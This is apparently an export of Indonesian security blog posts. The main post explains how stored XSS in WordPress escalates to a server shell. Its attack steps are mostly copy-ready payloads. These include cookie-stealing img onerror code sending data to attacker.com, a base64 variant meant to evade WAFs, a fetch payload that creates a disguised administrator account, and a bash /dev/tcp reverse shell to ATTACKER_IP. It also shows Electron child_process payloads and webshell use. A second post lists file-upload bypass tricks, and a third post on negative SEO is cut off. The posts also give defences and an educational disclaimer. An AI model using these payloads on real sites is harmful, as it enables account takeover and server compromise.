[{"content":"Kalau kamu pernah denger orang bilang \u0026ldquo;XSS itu cuma client-side, nggak berbahaya\u0026rdquo;, itu salah besar. XSS memang berjalan di browser, bukan di server. Tapi justru di situlah letak bahayanya yang sering diremehkan.\nCoba bayangkan. Sebuah script XSS berjalan di browser admin sebuah website. Browser admin itu dipercaya sepenuhnya oleh server. Apapun yang dilakukan browser admin, server menganggapnya sah. Jadi kalau attacker bisa mengendalikan apa yang dilakukan browser admin lewat XSS, secara tidak langsung attacker juga mengendalikan server.\nArtikel ini bakal ngebahas tuntas bagaimana XSS yang terlihat \u0026ldquo;sepele\u0026rdquo; bisa diekskalasi sampai attacker mendapatkan shell di server. Bukan teori doang, tapi dengan alur serangan yang jelas, kode yang bisa dipelajari, dan studi kasus CVE yang nyata. Siapin kopi dulu, ini bakal panjang wkwk.\nApa Itu Exploit Chain? Sebelum masuk ke teknis, penting untuk paham dulu konsep exploit chain. Dalam dunia security, jarang sekali satu kerentanan langsung memberikan akses penuh ke server. Yang lebih sering terjadi adalah beberapa kerentanan atau fitur yang sah dirangkai menjadi satu rantai serangan yang dampaknya jauh lebih besar dari masing-masing komponen.\nXSS to Shell adalah contoh klasik dari exploit chain. Rantainya kira-kira begini:\nStored XSS tertanam di halaman → Script berjalan di browser admin → Session admin dicuri atau aksi dilakukan atas nama admin → Attacker login sebagai admin atau buat akun admin baru → Upload file berbahaya via fitur CMS → File dieksekusi di server → Attacker dapat shell Setiap langkah di rantai ini punya pertahanan yang bisa memutusnya. Tapi kalau tidak ada satupun pertahanan yang aktif, rantainya utuh dari awal sampai akhir. Dan hasilnya adalah full compromise.\nKenapa XSS Bisa Sampai ke Server? Pertanyaan ini yang paling sering muncul. XSS kan eksekusi di browser, kenapa bisa berdampak ke server?\nJawabannya ada di konsep trust boundary. Server web tidak bisa membedakan apakah sebuah HTTP request dikirim oleh admin yang sadar, atau oleh script XSS yang berjalan diam-diam di browser admin. Yang dilihat server hanyalah: \u0026ldquo;request ini datang dari browser yang punya session admin yang valid, berarti ini request yang sah.\u0026rdquo;\nJavaScript yang berjalan di browser admin bisa melakukan tiga hal yang sangat berbahaya:\nPertama, mencuri session cookie. Kalau cookie tidak dilindungi flag HttpOnly, JavaScript bisa membacanya dan mengirimkannya ke server attacker. Dengan cookie itu, attacker bisa login ke dashboard admin dari browser miliknya sendiri.\nKedua, melakukan aksi langsung tanpa mencuri cookie. Bahkan kalau cookie punya flag HttpOnly, JavaScript tetap bisa mengirim HTTP request ke server menggunakan fetch() atau XMLHttpRequest. Request ini otomatis menyertakan cookie karena berasal dari browser yang sudah login. Jadi attacker bisa melakukan apapun yang bisa dilakukan admin, langsung dari browser admin itu sendiri, tanpa admin menyadarinya.\nKetiga, membuat akun admin baru. Ini yang paling sering dilakukan karena memberikan akses persisten. Meskipun admin nantinya logout atau mengganti password, akun baru yang sudah dibuat tetap bisa dipakai.\nIntinya, XSS mengubah browser admin menjadi proxy bagi attacker. Dan proxy ini dipercaya sepenuhnya oleh server.\nSkenario 1: Stored XSS ke Admin Hijack ke Shell Ini adalah skenario yang paling umum ditemui di dunia nyata. Konteksnya adalah CMS (Content Management System) seperti WordPress, Joomla, atau Drupal yang memiliki panel admin dengan fitur upload file.\nLangkah 1: Menanam Stored XSS Attacker mencari input yang datanya tersimpan di database dan ditampilkan kembali ke pengguna lain, termasuk admin. Tempat yang paling umum adalah kolom komentar, form kontak, profil user, atau field custom lainnya.\nPayload paling dasar untuk mencuri cookie:\n\u0026lt;img src=x onerror=fetch(\u0026#39;https://attacker.com/steal?c=\u0026#39;+document.cookie)\u0026gt; Tag \u0026lt;img\u0026gt; dengan src=x akan selalu gagal memuat gambar, yang otomatis memicu onerror. Di dalam onerror, fetch() mengirimkan cookie ke server milik attacker.\nKalau attacker ingin payload yang lebih tersembunyi, bisa di-encode ke base64:\n\u0026lt;img src=x onerror=eval(atob(\u0026#39;ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWUp\u0026#39;))\u0026gt; String base64 di atas adalah encoding dari fetch('https://attacker.com/steal?c='+document.cookie). Teknik ini membantu menghindari deteksi WAF yang mencari keyword seperti \u0026ldquo;fetch\u0026rdquo; atau \u0026ldquo;document.cookie\u0026rdquo; secara langsung.\nLangkah 2: Admin Membuka Halaman, Cookie Terkirim Begitu admin membuka halaman yang mengandung payload (misalnya halaman moderasi komentar), script langsung berjalan tanpa interaksi apapun dari admin. Cookie session terkirim ke server attacker.\nDi sisi attacker, log server menunjukkan sesuatu seperti:\nGET /steal?c=wordpress_logged_in_abc123=admin%7C1756000000%7C... Attacker kemudian memasukkan cookie ini ke browser miliknya. Caranya cukup buka DevTools, masuk ke tab Application, lalu Cookies, dan tambahkan cookie yang didapat. Refresh halaman, dan attacker sudah login sebagai admin.\nLangkah 3: Kalau Cookie Punya HttpOnly Skenario di atas tidak bekerja kalau cookie dilindungi flag HttpOnly karena JavaScript tidak bisa membaca cookie tersebut. Tapi bukan berarti rantai serangannya putus.\nAttacker bisa mengubah strategi: alih-alih mencuri cookie, langsung melakukan aksi dari browser admin menggunakan fetch(). Contoh yang paling efektif adalah membuat akun admin baru via REST API.\nDi WordPress misalnya:\nfetch(\u0026#39;/wp-json/wp/v2/users\u0026#39;, { method: \u0026#39;POST\u0026#39;, credentials: \u0026#39;include\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;X-WP-Nonce\u0026#39;: wpApiSettings.nonce }, body: JSON.stringify({ username: \u0026#39;maintenance\u0026#39;, password: \u0026#39;X9v!kL2@pQr\u0026#39;, email: \u0026#39;maintenance@target.com\u0026#39;, roles: [\u0026#39;administrator\u0026#39;] }) }) Yang membuat kode ini bekerja adalah parameter credentials: 'include'. Parameter ini memberitahu browser untuk menyertakan cookie pada request, meskipun JavaScript tidak bisa membaca cookie itu secara langsung. Server menerima request ini dengan cookie admin yang valid, melihat nonce yang benar, dan menganggap ini adalah permintaan sah dari admin.\nHasilnya? Akun admin baru bernama \u0026ldquo;maintenance\u0026rdquo; berhasil dibuat. Nama yang sengaja dipilih agar tidak mencurigakan kalau dilihat sekilas di daftar user.\nPayload lengkap yang ditanamkan di kolom komentar bisa terlihat seperti ini:\n\u0026lt;img src=x onerror=\u0026#34;fetch(\u0026#39;/wp-json/wp/v2/users\u0026#39;,{method:\u0026#39;POST\u0026#39;,credentials:\u0026#39;include\u0026#39;,headers:{\u0026#39;Content-Type\u0026#39;:\u0026#39;application/json\u0026#39;,\u0026#39;X-WP-Nonce\u0026#39;:wpApiSettings.nonce},body:JSON.stringify({username:\u0026#39;maintenance\u0026#39;,password:\u0026#39;X9v!kL2@pQr\u0026#39;,email:\u0026#39;m@target.com\u0026#39;,roles:[\u0026#39;administrator\u0026#39;]})})\u0026#34;\u0026gt; Langkah 4: Upload File Berbahaya via Admin Panel Setelah punya akses admin (baik dari cookie yang dicuri atau akun baru yang dibuat), attacker login ke dashboard CMS. Dari sini ada beberapa cara untuk mendapatkan eksekusi kode di server.\nCara pertama: Upload plugin/theme palsu. Di WordPress, admin bisa mengupload file ZIP sebagai plugin baru. Attacker membuat file ZIP yang berisi satu file PHP dengan kode yang menerima parameter dari URL dan mengeksekusinya sebagai command di sistem operasi. Ini yang disebut webshell. Setelah diupload dan diaktifkan, file ini bisa diakses lewat URL tertentu.\nCara kedua: Edit file tema/plugin yang sudah ada. WordPress punya fitur Theme Editor dan Plugin Editor yang memungkinkan admin mengedit file PHP langsung dari browser. Attacker bisa menyisipkan kode webshell ke dalam file tema yang sudah ada, misalnya 404.php yang jarang dicek.\nCara ketiga: Upload lewat Media Library. Kalau server tidak memvalidasi tipe file dengan benar, attacker bisa mengupload file PHP yang di-rename menjadi ekstensi yang diizinkan, atau memanfaatkan teknik double extension seperti shell.php.jpg.\nSetelah webshell berhasil diupload, attacker mengaksesnya lewat browser:\nhttps://target.com/wp-content/plugins/maintenance-tool/index.php?cmd=id Output:\nuid=33(www-data) gid=33(www-data) groups=33(www-data) User www-data artinya command berhasil dieksekusi di server sebagai user web server. Dari sini attacker sudah punya akses awal ke server.\nLangkah 5: Dari Webshell ke Interactive Shell Webshell yang diakses lewat browser punya keterbatasan. Setiap command harus dikirim sebagai HTTP request terpisah, tidak ada sesi yang persisten, dan tidak bisa menjalankan program interaktif. Attacker biasanya langsung upgrade ke reverse shell untuk mendapatkan koneksi interaktif yang lebih stabil.\nReverse shell adalah koneksi di mana server target yang menginisiasi koneksi ke mesin attacker, bukan sebaliknya. Ini berguna karena firewall biasanya memblokir koneksi masuk tapi mengizinkan koneksi keluar.\nDi sisi attacker, siapkan listener dulu:\nnc -lvnp 4444 Lalu di webshell, jalankan:\nbash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1 Kalau berhasil, di terminal attacker akan muncul:\nConnection received! www-data@target-server:/$ Upgrade ke proper TTY supaya shell-nya lebih fungsional:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Sekarang attacker punya interactive shell di server target. Dari user www-data, proses selanjutnya adalah privilege escalation ke root. Tapi itu sudah di luar scope artikel ini (baca artikel Rooting Server untuk kelanjutannya).\nDiagram alur lengkap dari awal sampai akhir:\nStored XSS di kolom komentar → Admin buka halaman moderasi → JavaScript berjalan di browser admin → Buat akun admin baru via fetch() → Login ke dashboard dengan akun baru → Upload plugin berisi webshell → Akses webshell via URL → Jalankan reverse shell → Attacker dapat interactive shell di server Studi Kasus: CVE-2026-64638 (XSS2Shell) Kalau skenario di atas terdengar terlalu teoritis, CVE-2026-64638 adalah bukti nyata bahwa XSS to Shell bukan hanya konsep. Celah ini ditemukan di WordPress Core sendiri, bukan di plugin pihak ketiga.\nApa yang Terjadi CVE-2026-64638 yang dijuluki XSS2Shell adalah kerentanan Reflected XSS di halaman login WordPress (wp-login.php). CVSS-nya 8.9 (High), yang termasuk sangat tinggi untuk kerentanan XSS.\nCelah ini ada di semua versi WordPress sebelum 7.0.3. Sudah dipatch pada 6 Agustus 2026 dan backported ke 24 branch maintenance sampai WordPress 4.7.\nRoot Cause: Parser Disagreement Yang menarik dari CVE ini adalah root cause-nya. WordPress menggunakan dua fungsi sanitasi HTML: wp_strip_all_tags() dan wp_kses_post(). Masalahnya, kedua fungsi ini memperlakukan HTML yang malformed secara berbeda.\nKetika user memasukkan username yang tidak valid saat login, WordPress menampilkan pesan error yang berisi username tersebut. Alur sanitasinya kira-kira begini:\nUsername masuk, melewati wp_strip_all_tags() yang menghapus semua tag HTML Tapi kemudian data yang sama juga diproses oleh wp_kses_post() di titik lain Karena kedua fungsi punya cara parsing yang berbeda terhadap tag HTML yang sengaja dibuat tidak valid (malformed), attacker bisa membuat username khusus yang lolos dari kedua layer sanitasi. Hasilnya, payload JavaScript ter-render di halaman login.\nAlur Eksploitasi Attacker membuat URL login dengan username berisi payload XSS → Admin diarahkan ke URL tersebut (via phishing, link di email, dll) → WordPress menampilkan error \u0026#34;username tidak valid\u0026#34; → Payload XSS ter-render di halaman login → JavaScript berjalan di browser admin → Rantai eksploitasi dimulai (buat akun admin, upload plugin, dll) → Shell di server Yang membuat celah ini berbahaya adalah lokasinya di halaman login. Halaman login adalah tempat yang secara rutin diakses oleh admin. Seorang admin yang menerima link \u0026ldquo;ada masalah dengan akun WordPress Anda, silakan login di sini\u0026rdquo; tidak akan terlalu curiga karena memang mengarah ke halaman login WordPress yang asli.\nPatch dan Mitigasi WordPress 7.0.3 memperbaiki celah ini dengan menyeragamkan cara sanitasi input di halaman login. Untuk yang masih menggunakan versi lama, update segera karena celah ini sudah dipublikasikan secara luas dan exploit-nya mudah direproduksi.\nReferensi lebih lanjut:\nThe Hacker News: WordPress XSS2Shell Imperva: CVE-2026-64638 Analysis Tenable: CVE-2026-64638 Skenario 2: XSS di Aplikasi Electron ke RCE Langsung Tidak semua XSS-to-RCE butuh rantai panjang seperti skenario di atas. Di aplikasi desktop berbasis Electron, XSS bisa langsung menjadi RCE tanpa perlu mencuri cookie atau upload webshell.\nKenapa Electron Berbeda? Electron adalah framework yang dipakai untuk membuat aplikasi desktop menggunakan teknologi web (HTML, CSS, JavaScript). Aplikasi populer seperti VS Code, Discord, dan Slack dibangun dengan Electron.\nYang membuat Electron berbeda dari browser biasa adalah arsitekturnya. Electron menggabungkan browser (Chromium) dengan runtime Node.js. Artinya, kalau konfigurasinya salah, JavaScript yang berjalan di halaman web bisa mengakses API Node.js yang punya kemampuan untuk mengeksekusi command di sistem operasi.\nKonfigurasi yang Berbahaya Ada tiga parameter kunci di Electron yang menentukan apakah XSS bisa menjadi RCE:\nnodeIntegration: true memungkinkan kode JavaScript di renderer process untuk menggunakan require(). Dengan ini, attacker bisa langsung mengimpor modul child_process dan menjalankan command apapun.\ncontextIsolation: false menghapus batas antara web context dan Electron internal context. Tanpa isolasi ini, kode dari halaman web bisa mengakses API internal Electron.\ncontextBridge yang terlalu permisif terjadi ketika developer mengekspos fungsi-fungsi berbahaya ke renderer melalui contextBridge tanpa pembatasan yang memadai.\nContoh konfigurasi yang salah:\nconst win = new BrowserWindow({ webPreferences: { nodeIntegration: true, contextIsolation: false } }) Dengan konfigurasi di atas, payload XSS bisa langsung mengeksekusi command:\nrequire(\u0026#39;child_process\u0026#39;).exec(\u0026#39;calc.exe\u0026#39;) Atau di Linux:\nrequire(\u0026#39;child_process\u0026#39;).exec(\u0026#39;id\u0026#39;) Tidak perlu mencuri cookie. Tidak perlu upload webshell. Satu baris JavaScript langsung mengeksekusi command di sistem operasi. Ini yang membuat XSS di Electron jauh lebih berbahaya dibanding XSS di browser biasa.\nCVE Nyata di Electron CVE-2025-67744 (DeepChat) adalah contoh yang menarik. DeepChat adalah aplikasi chat berbasis Electron yang mendukung rendering Mermaid diagram. Attacker bisa menyisipkan payload XSS di dalam diagram Mermaid yang dikirim lewat chat. Karena aplikasinya mengekspos fungsi IPC (Inter-Process Communication) yang terlalu permisif ke renderer, payload XSS bisa memanggil fungsi internal dan mengeksekusi command di sistem.\nCVE-2025-56459 menunjukkan kasus serupa di mana XSS pada fitur tag rendering di sebuah aplikasi Electron memungkinkan attacker memanggil shell.openExternal() untuk mengeksekusi file apapun di sistem, termasuk executable berbahaya.\nKonfigurasi yang Benar Untuk developer yang menggunakan Electron, ini konfigurasi yang aman:\nconst win = new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true } }) Dan kalau perlu mengekspos fungsi ke renderer lewat contextBridge, pastikan hanya mengekspos fungsi yang benar-benar diperlukan dengan parameter yang sudah divalidasi:\ncontextBridge.exposeInMainWorld(\u0026#39;api\u0026#39;, { getVersion: () =\u0026gt; app.getVersion(), saveFile: (content) =\u0026gt; { if (typeof content !== \u0026#39;string\u0026#39;) return if (content.length \u0026gt; 10000) return fs.writeFileSync(safePathOnly, content) } }) Jangan pernah mengekspos exec, spawn, shell.openExternal, atau fungsi filesystem tanpa validasi yang ketat.\nSkenario 3: XSS ke Internal API Abuse Skenario ketiga ini sering terlewatkan tapi dampaknya bisa sangat besar. Banyak aplikasi web modern punya API internal yang hanya bisa diakses dari jaringan lokal atau oleh user yang sudah terautentikasi.\nContohnya:\nPanel manajemen database yang berjalan di localhost:8080 API monitoring server di localhost:9090 Dashboard Docker/Kubernetes di jaringan internal Endpoint konfigurasi yang hanya bisa diakses dari IP tertentu XSS yang berjalan di browser admin berada di dalam jaringan yang sama dengan API-API internal ini. Artinya, JavaScript dari XSS bisa mengirim request ke endpoint yang tidak bisa dijangkau dari internet luar.\nContoh skenario: sebuah aplikasi punya panel admin yang di dalamnya ada fitur untuk mengubah konfigurasi server. Panel ini hanya bisa diakses dari localhost. Tapi kalau ada Stored XSS di halaman yang dilihat admin, payload XSS bisa melakukan ini:\nfetch(\u0026#39;http://localhost:9090/api/config\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, body: JSON.stringify({ allow_remote: true, admin_password: \u0026#39;hacked123\u0026#39; }) }) Request ini dikirim dari browser admin yang berjalan di mesin server (atau di jaringan yang sama). Server API internal melihat request datang dari localhost, menganggapnya sah, dan mengubah konfigurasi sesuai permintaan.\nKonsep ini mirip dengan SSRF (Server-Side Request Forgery), tapi dari sisi client. Kalau SSRF memanfaatkan server untuk mengirim request ke internal service, XSS memanfaatkan browser admin untuk melakukan hal yang sama. Beberapa security researcher menyebutnya \u0026ldquo;Client-Side SSRF.\u0026rdquo;\nPertahanan: Memutus Rantai Serangan Keindahan dari memahami exploit chain adalah kita bisa memutus rantainya di banyak titik. Tidak perlu pertahanan yang sempurna di satu layer. Yang dibutuhkan adalah pertahanan berlapis (defense in depth) di mana setiap layer menambah kesulitan bagi attacker.\nCegah XSS Sejak Awal Ini adalah pertahanan paling fundamental. Kalau XSS-nya tidak ada, seluruh rantai serangan tidak pernah dimulai.\nInput sanitization dan output encoding adalah dasar yang tidak bisa ditawar. Semua data yang berasal dari user harus di-sanitize saat masuk dan di-encode saat ditampilkan. Gunakan library sanitasi yang sudah teruji seperti DOMPurify untuk JavaScript atau Bleach untuk Python.\nContent Security Policy (CSP) membatasi sumber script yang diizinkan berjalan di halaman:\nContent-Security-Policy: default-src \u0026#39;self\u0026#39;; script-src \u0026#39;self\u0026#39; Dengan CSP di atas, inline script dan script dari domain lain tidak akan dieksekusi browser. Ini secara signifikan mengurangi dampak XSS meskipun payload berhasil masuk ke halaman.\nLindungi Session Kalau XSS tetap berhasil lolos, pertahanan berikutnya adalah memastikan session admin tidak bisa dicuri atau disalahgunakan.\nSet-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict Flag HttpOnly membuat JavaScript tidak bisa membaca cookie sama sekali. Flag Secure memastikan cookie hanya dikirim lewat HTTPS. Flag SameSite=Strict memastikan cookie tidak dikirim pada request yang berasal dari domain lain.\nKetiga flag ini harus selalu diset pada session cookie. Tidak ada alasan untuk tidak menggunakannya.\nBatasi Aksi Admin Meskipun attacker berhasil menjalankan JavaScript di browser admin, pertahanan ini memastikan aksi-aksi sensitif tidak bisa dilakukan tanpa verifikasi tambahan.\nRe-authentication meminta admin memasukkan password lagi sebelum melakukan aksi kritis seperti upload plugin, edit file, atau membuat user baru. XSS bisa mengirim request, tapi tidak bisa mengetahui password admin.\nCSRF token yang di-generate per session dan divalidasi di server memastikan setiap request berasal dari form yang sah. Meskipun ini bisa di-bypass kalau attacker mendapatkan token lewat XSS, ini tetap menambah satu layer kesulitan.\nDi WordPress, pertahanan paling efektif adalah menonaktifkan fitur editor dan upload:\ndefine(\u0026#39;DISALLOW_FILE_EDIT\u0026#39;, true); define(\u0026#39;DISALLOW_FILE_MODS\u0026#39;, true); Dua baris ini di wp-config.php menonaktifkan Theme Editor, Plugin Editor, dan kemampuan upload/install plugin baru dari dashboard. Ini memutus rantai di langkah upload webshell.\nHardening Upload Kalau fitur upload memang harus ada, pastikan dikonfigurasi dengan benar:\nWhitelist ekstensi file yang diizinkan. Jangan pakai blacklist karena selalu bisa di-bypass.\nSimpan file upload di luar web root sehingga tidak bisa diakses langsung lewat URL.\nDisable eksekusi script di direktori upload:\n\u0026lt;Directory \u0026#34;/var/www/html/wp-content/uploads\u0026#34;\u0026gt; php_admin_flag engine off \u0026lt;/Directory\u0026gt; Konfigurasi Apache di atas memastikan file PHP yang ada di folder uploads tidak akan pernah dieksekusi, meskipun berhasil diupload.\nMonitor dan Deteksi Pertahanan terakhir adalah deteksi. Kalau semua layer sebelumnya gagal, setidaknya kita bisa mendeteksi bahwa serangan sedang terjadi.\nLog semua aksi admin termasuk login, upload file, perubahan user, dan perubahan konfigurasi.\nAlert untuk aktivitas mencurigakan seperti pembuatan akun admin baru, upload file di luar jam kerja, atau login dari IP yang tidak biasa.\nFile integrity monitoring menggunakan tools seperti Wazuh atau OSSEC yang memantau perubahan file di server secara real-time.\nTools dan Referensi Beberapa tools yang relevan untuk memahami dan menguji XSS to Shell:\nBeEF (Browser Exploitation Framework) untuk demonstrasi dan eksploitasi XSS di lingkungan lab XSStrike untuk deteksi dan fuzzing XSS PayloadsAllTheThings - XSS koleksi payload XSS yang lengkap PortSwigger XSS Cheat Sheet referensi event dan tag untuk XSS GTFOBins referensi untuk privilege escalation setelah dapat shell WordPress Security Hardening panduan resmi hardening WordPress CVE yang dibahas di artikel ini:\nCVE Target Dampak CVE-2026-64638 WordPress Core (wp-login.php) XSS to RCE, CVSS 8.9 CVE-2025-67744 DeepChat (Electron) XSS via Mermaid ke RCE CVE-2025-56459 Electron App XSS ke shell.openExternal Ringkasan XSS bukan \u0026ldquo;cuma alert(1)\u0026rdquo;. Ketika target XSS adalah browser yang memiliki session admin, dampaknya bisa jauh melampaui client-side. Rantai serangannya bisa dimulai dari satu input yang tidak di-sanitize, berlanjut ke pencurian session, pembuatan akun admin, upload file berbahaya, dan berakhir dengan akses shell penuh di server.\nPertahanan terbaik adalah memutus rantai ini di sebanyak mungkin titik. Sanitize input, lindungi session, batasi aksi admin, hardening konfigurasi upload, dan monitoring. Semakin banyak layer yang aktif, semakin kecil kemungkinan serangan berhasil sampai ke ujung rantai.\nInput masuk → [Sanitization + CSP] → XSS dicegah? STOP → [HttpOnly + SameSite] → Cookie dicuri? STOP → [Re-auth + CSRF] → Aksi admin diblokir? STOP → [Upload hardening] → File berbahaya ditolak? STOP → [File integrity monitoring] → Perubahan terdeteksi? STOP → Kalau semua layer gagal → Shell didapat Pahami rantainya, dan pertahanan bisa dibangun dengan jauh lebih efektif.\nDisclaimer\nSeluruh materi dalam artikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Teknik yang dijelaskan hanya boleh dipraktikkan pada sistem milik sendiri, lingkungan lab, atau dalam scope program bug bounty yang sudah diotorisasi.\nJangan pernah menjalankan teknik ini ke sistem yang bukan milik sendiri atau yang tidak memiliki izin eksplisit untuk diuji. Peretasan tanpa izin adalah tindakan ilegal yang bisa dikenai sanksi hukum sesuai UU ITE.\nravxytech.site hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://ravxytech.site/posts/xss-to-shell/","summary":"\u003cp\u003eKalau kamu pernah denger orang bilang \u0026ldquo;XSS itu cuma client-side, nggak berbahaya\u0026rdquo;, itu salah besar. XSS memang berjalan di browser, bukan di server. Tapi justru di situlah letak bahayanya yang sering diremehkan.\u003c/p\u003e\n\u003cp\u003eCoba bayangkan. Sebuah script XSS berjalan di browser admin sebuah website. Browser admin itu dipercaya sepenuhnya oleh server. Apapun yang dilakukan browser admin, server menganggapnya sah. Jadi kalau attacker bisa mengendalikan apa yang dilakukan browser admin lewat XSS, secara tidak langsung attacker juga mengendalikan server.\u003c/p\u003e","title":"Xss2Shell: Ketika JavaScript di Browser Berujung Akses Server"},{"content":"Fitur upload file pada aplikasi web sering kali menjadi target utama para peretas. Jika sistem keamanan server tidak menyaring file yang masuk dengan benar, peretas dapat mengunggah file script berbahaya. Dampak paling fatal dari celah ini adalah Remote Code Execution atau yang biasa disebut dengan RCE. RCE membuat peretas bisa menjalankan perintah apa saja langsung di dalam server target.\nCelah ini dinamakan Arbitrary File Upload. Celah terjadi ketika website membiarkan pengguna mengunggah jenis file apa saja tanpa ada batasan yang ketat. Sebagai contoh, jika form upload foto profil menerima file berformat PHP atau ASP, peretas dapat mengunggah script backdoor. Setelah file berhasil terunggah, peretas hanya perlu mengakses link file tersebut untuk mulai mengendalikan server.\nBanyak pengembang website mencoba mengamankan fitur ini dengan cara yang kurang tepat. Peretas biasanya mempunyai trik untuk melewati pengamanan tersebut. Berikut adalah beberapa teknik bypass yang sering ditemukan di dunia nyata.\nMengubah Ekstensi File Ketika server memblokir file berekstensi .php, peretas akan mencoba alternatif lain yang masih bisa dieksekusi oleh server. Contohnya adalah ekstensi .php5, .phtml, atau .phar. Memanipulasi Content Type Server terkadang hanya memeriksa header tipe file saat diunggah. Peretas dapat mengubah header ini menjadi tipe gambar yang aman seperti image/jpeg padahal isi file sebenarnya adalah script php jahat. Menggunakan Double Extension Peretas sering menggunakan nama file seperti gambar.jpg.php untuk mengelabui filter yang hanya membaca kata di tengah nama file. Untuk mencegah celah berbahaya ini, sistem keamanan harus diterapkan pada beberapa lapisan. Cara terbaik adalah memproses ulang setiap file yang diunggah. Server harus mengubah nama file asli menjadi string acak dan menyimpan file tersebut di luar folder utama website. Selain itu, pastikan folder tempat menyimpan file unggahan tidak memiliki izin untuk mengeksekusi script.\n","permalink":"https://ravxytech.site/posts/analisis-celah-arbitrary-file-upload/","summary":"\u003cp\u003eFitur upload file pada aplikasi web sering kali menjadi target utama para peretas. Jika sistem keamanan server tidak menyaring file yang masuk dengan benar, peretas dapat mengunggah file script berbahaya. Dampak paling fatal dari celah ini adalah Remote Code Execution atau yang biasa disebut dengan RCE. RCE membuat peretas bisa menjalankan perintah apa saja langsung di dalam server target.\u003c/p\u003e\n\u003cp\u003eCelah ini dinamakan Arbitrary File Upload. Celah terjadi ketika website membiarkan pengguna mengunggah jenis file apa saja tanpa ada batasan yang ketat. Sebagai contoh, jika form upload foto profil menerima file berformat PHP atau ASP, peretas dapat mengunggah script backdoor. Setelah file berhasil terunggah, peretas hanya perlu mengakses link file tersebut untuk mulai mengendalikan server.\u003c/p\u003e","title":"Celah Arbitrary File Upload: Mengubah Fitur Upload Menjadi Remote Code Execution"},{"content":"Bayangkan sebuah pagi biasa. Kamu membuka laptop, menyeruput kopi, lalu iseng membuka Google Search Console seperti kebiasaan setiap hari. Tapi kali ini ada yang aneh. Grafik trafik yang biasanya landai stabil tiba tiba menukik tajam seperti jatuh dari tebing. Tidak ada perubahan konten yang kamu lakukan, tidak ada update besar dari sisi teknis, bahkan kamu baru saja publish artikel baru dua hari lalu yang seharusnya mendongkrak performa, bukan menjatuhkannya. Kepala mulai pusing, jantung berdegup lebih cepat, dan pertanyaan besar muncul di benak, apa yang sebenarnya terjadi pada website yang sudah dibangun susah payah selama bertahun tahun ini?\nSkenario semacam ini bukan cerita fiksi belaka. Banyak pemilik website, mulai dari blogger pemula sampai pelaku bisnis dengan skala besar, pernah mengalami kepanikan serupa. Dan dalam banyak kasus, biang keroknya adalah sesuatu yang jarang disadari kebanyakan orang, yaitu serangan SEO black hat. Ini bukan sekadar istilah teknis yang terdengar rumit, melainkan ancaman nyata yang bisa menyerang siapa saja tanpa pandang bulu, terlepas dari seberapa hati hati kamu mengelola website selama ini.\nDunia digital marketing memang penuh persaingan. Setiap pemilik bisnis ingin websitenya nangkring di halaman pertama Google, karena di situlah sebagian besar trafik dan konversi berasal. Sayangnya, di balik gemerlap persaingan yang terlihat profesional, ada sisi kelam yang jarang dibicarakan secara terbuka. Sebagian pihak memilih jalan pintas yang jauh dari kata etis, bahkan rela menyerang website kompetitor secara diam diam demi mendongkrak posisi mereka sendiri. Artikel ini akan mengajak kamu menyelami lebih dalam fenomena tersebut, mulai dari akar permasalahannya sampai strategi pertahanan menyeluruh yang bisa kamu terapkan mulai hari ini juga.\nMenguak Apa Sebenarnya Serangan SEO Black Hat Itu Istilah black hat sendiri sebenarnya diambil dari budaya film koboi lama, di mana tokoh jahat biasanya digambarkan mengenakan topi hitam sementara tokoh baik mengenakan topi putih. Dalam dunia SEO, istilah ini dipakai untuk menggambarkan praktik yang berlawanan dengan pedoman resmi mesin pencari, sebuah pendekatan yang lebih mementingkan hasil instan ketimbang membangun fondasi yang benar benar sehat dan berkelanjutan.\nSecara teknis, SEO black hat adalah kumpulan taktik manipulatif yang dipakai untuk mendongkrak peringkat sebuah situs tanpa mengikuti aturan main yang ditetapkan oleh mesin pencari seperti Google. Bedanya dengan pendekatan SEO yang sehat sangat jelas terlihat, kalau SEO organik mengandalkan konten berkualitas, pengalaman pengguna yang nyaman, dan reputasi yang dibangun secara perlahan, SEO black hat justru mencoba mengelabui algoritma dengan berbagai cara licik supaya sebuah halaman terlihat lebih relevan dan otoritatif dari yang sebenarnya.\nYang menarik dan sekaligus mengkhawatirkan, black hat SEO ternyata tidak selalu digunakan untuk mendongkrak website milik pelaku sendiri. Ada bentuk lain yang jauh lebih licik, yaitu serangan yang justru diarahkan langsung ke website orang lain dengan tujuan menjatuhkan reputasinya di mata mesin pencari, sebuah praktik yang dikenal luas dengan istilah negative SEO. Bayangkan kompetitor bisnis kamu diam diam menyewa jasa untuk membanjiri website kamu dengan backlink busuk, semuanya dilakukan tanpa sepengetahuanmu sama sekali sampai dampaknya benar benar terasa.\nKenapa Praktik Curang Semacam Ini Terus Bertahan Kalau dipikir pikir, kenapa sih masih ada saja orang yang mau menempuh jalan curang padahal risikonya besar? Jawabannya ternyata cukup manusiawi, yaitu godaan hasil instan di tengah persaingan yang semakin ketat setiap tahunnya. Membangun SEO yang sehat butuh waktu, kadang berbulan bulan bahkan bertahun tahun, sementara sebagian pelaku bisnis merasa tidak punya kesabaran sepanjang itu, apalagi kalau mereka beroperasi di industri dengan persaingan kata kunci yang sangat sengit dan bernilai tinggi seperti keuangan, kesehatan, atau perjudian daring.\nFaktor lain yang memperparah keadaan adalah semakin mudahnya akses terhadap alat dan layanan untuk melancarkan negative SEO. Kalau dulu untuk melakukan serangan semacam ini butuh keahlian teknis yang mumpuni, sekarang tinggal cari saja di berbagai forum atau marketplace jasa digital, ada banyak penyedia backlink murah dalam jumlah ribuan yang siap disewakan kapan saja untuk menyerang domain tertentu. Kemudahan akses seperti inilah yang membuat ancaman ini terasa semakin nyata dan dekat bagi siapa saja yang memiliki website, tidak peduli seberapa besar atau kecil skala bisnisnya.\nAda juga faktor psikologis yang tidak kalah penting untuk dipahami. Sebagian pelaku black hat SEO sebenarnya sadar betul bahwa 